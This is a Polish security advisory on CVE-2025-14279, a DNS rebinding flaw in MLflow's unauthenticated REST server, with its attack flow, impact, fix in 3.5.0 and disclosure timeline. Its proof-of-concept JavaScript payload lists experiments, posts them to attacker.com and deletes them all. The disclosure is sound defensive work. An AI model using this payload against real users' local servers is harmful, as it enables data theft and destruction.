Eksfiltracja i zniszczenie danych w MLflow z powodu braku walidacji Origin (DNS rebinding)
Autor: Evan Harris
Ryzyko: Wysokie (CVSS 8.1, CVE-2025-14279)
Komponent, którego dotyczy problem: serwer REST MLflow (mlflow/mlflow), wersje do 3.4.0 włącznie
W skrócie
Serwer REST MLflow nie walidował nagłówka Origin ani nagłówka Host w przychodzących żądaniach, przez co pozostawał podatny na DNS rebinding. Ofiara, która lokalnie uruchamia mlflow server, a następnie odwiedza złośliwą witrynę, może doprowadzić do przekształcenia swojej przeglądarki w serwer proxy, który sięga do interfejsu loopback, omijając Same-Origin Policy. Ponieważ interfejs REST API nie ma żadnego uwierzytelniania, atakujący uzyskuje pełny dostęp do odczytu i zapisu: może wyliczyć eksperymenty, wyeksfiltrować dane do zewnętrznego hosta i całkowicie usunąć eksperymenty. Problemowi nadano identyfikator CVE-2025-14279 (CVSS 8.1, wysokie) i naprawiono go w MLflow 3.5.0, które dodaje walidację nagłówka Host oraz blokowanie żądań cross-origin. Użytkownicy powinni zaktualizować do wersji 3.5.0 lub nowszej.
Inne narzędzia opisane na tej stronie zawodzą w ten sam sposób: Podatność DNS rebinding w transporcie SSE serwera Vet MCP i Neo4j MCP Cypher Server podatny na przejęcie bazy danych za pomocą DNS rebinding. Osobny problem w MLflow, ujawniony tego samego dnia, opisuje Zdalne wykonanie kodu poprzez deserializację scorerów GenAI w MLflow.
Kontekst
Serwer śledzenia MLflow udostępnia interfejs REST API (zwykle pod adresem http://localhost:5000), którego interfejs webowy i biblioteki klienckie używają do tworzenia, wyszukiwania, aktualizowania i usuwania eksperymentów oraz przebiegów. Domyślnie serwer działa bez uwierzytelniania, przy założeniu, że powiązanie z localhost utrzymuje go w izolacji.
To założenie upada w obliczu DNS rebinding. Same-Origin Policy przeglądarki ma powstrzymać stronę serwowaną z attacker.com przed odczytem odpowiedzi z localhost:5000, lecz rebinding ją obchodzi, zmieniając to, na co rozwiązuje się nazwa hosta po załadowaniu strony. Ponieważ serwer MLflow akceptował żądania bez sprawdzania ich pochodzenia, każda witryna odwiedzona przez ofiarę mogła sterować lokalnym API.
Ogólny zarys
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Scenariusz ataku
- Ofiara klonuje MLflow i lokalnie uruchamia serwer z konfiguracją domyślną (
mlflow server), tworząc po drodze kilka eksperymentów. - Atakujący stawia laboratorium DNS rebinding, na przykład Singularity of Origin firmy NCC Group, i umieszcza poniższy payload w katalogu payloadów danego frameworka.
- Ofiara odwiedza witrynę atakującego i pozostaje na stronie wystarczająco długo (poniżej minuty), aby doszło do ponownego powiązania.
- Serwer DNS atakującego najpierw rozwiązuje nazwę hosta na własny adres IP, aby payload się załadował, a następnie na późniejsze zapytania odpowiada
127.0.0.1. Przeglądarka ponownie wykorzystuje nazwę z pamięci podręcznej, więc wywołaniafetchna stronie po cichu przełączają się nalocalhost:5000, zachowując pierwotny origin. - Ponieważ serwer MLflow nie przeprowadza żadnej walidacji Origin ani Host, żądania kończą się powodzeniem. Atakujący wylicza eksperymenty, wysyła dane do
attacker.comi usuwa eksperymenty.
Proof of Concept
Poniższy payload rejestruje się w frameworku DNS rebinding. Rozpoznaje cel jako serwer MLflow, wylicza eksperymenty przez nieuwierzytelniony interfejs REST API, eksfiltruje wyniki do hosta kontrolowanego przez atakującego, a następnie usuwa każdy eksperyment. Oryginalny proof of concept został tu skondensowany do jego funkcjonalnych kroków.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Skutki
- Eksfiltracja danych: metadane eksperymentów są odczytywane przez
experiments/searchi wysyłane do hosta kontrolowanego przez atakującego. - Zniszczenie danych: eksperymenty są usuwane przez
experiments/delete. - Manipulacja danymi: ten sam nieuwierzytelniony dostęp do zapisu umożliwia operacje aktualizacji na eksperymentach.
- Brak wymaganych poświadczeń: atak działa przeciwko domyślnemu wdrożeniu
mlflow serveri wymaga jedynie, aby ofiara odwiedziła złośliwą stronę, gdy serwer jest uruchomiony.
Odpowiedź MLflow
Po tym, jak zgłosiliśmy problem w ramach procesu skoordynowanego ujawniania MLflow, opiekunowie projektu rozwiązali go w pull requeście #17910.
Poprawka wprowadza dla serwera warstwę middleware zabezpieczającego, która:
- Waliduje nagłówek
Hostwzględem listy dozwolonych wartości (domyślnie localhost i zakresy prywatnych adresów IP), aby zablokować DNS rebinding. - Blokuje zmieniające stan żądania cross-origin (POST, PUT, DELETE, PATCH) pochodzące z originów innych niż localhost.
- Dodaje obronne nagłówki odpowiedzi (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Dla wdrożeń, które w uzasadniony sposób potrzebują szerszego dostępu, dostępna jest nowa konfiguracja, w tym --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) i --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Zabezpieczenia trafiły do MLflow 3.5.0, a problemowi przypisano później CVE-2025-14279 (CVSS 8.1, wysokie; CWE-346, Origin Validation Error).
Zalecenia
Dla użytkowników końcowych
- Zaktualizuj do MLflow 3.5.0 lub nowszej.
- Zachowaj domyślne ustawienia
--allowed-hostsi--cors-allowed-origins, o ile nie masz konkretnego powodu, aby je poszerzyć, i nigdy nie wyłączaj middleware zabezpieczającego na wystawionym serwerze. - Nie wiąż serwera MLflow z siecią publiczną ani niezaufaną i postaw przed nim uwierzytelnianie lub reverse proxy, jeśli musi być osiągalny poza localhostem.
- Traktuj serwer powiązany lokalnie jako osiągalny z przeglądarki: zamykaj lub izoluj lokalne instancje MLflow podczas przeglądania niezaufanych witryn.
Kalendarium
| Data | Zdarzenie |
|---|---|
| 22 września 2025 | Podatność zgłoszona opiekunom MLflow w ramach skoordynowanego ujawnienia (issue #17877) |
| 6 października 2025 | MLflow scala poprawkę (PR #17910), wydaną w v3.5.0 |
| 12 stycznia 2026 | Opublikowano CVE-2025-14279 (CVSS 8.1, wysokie) |
| 8 czerwca 2026 | Publiczne ujawnienie |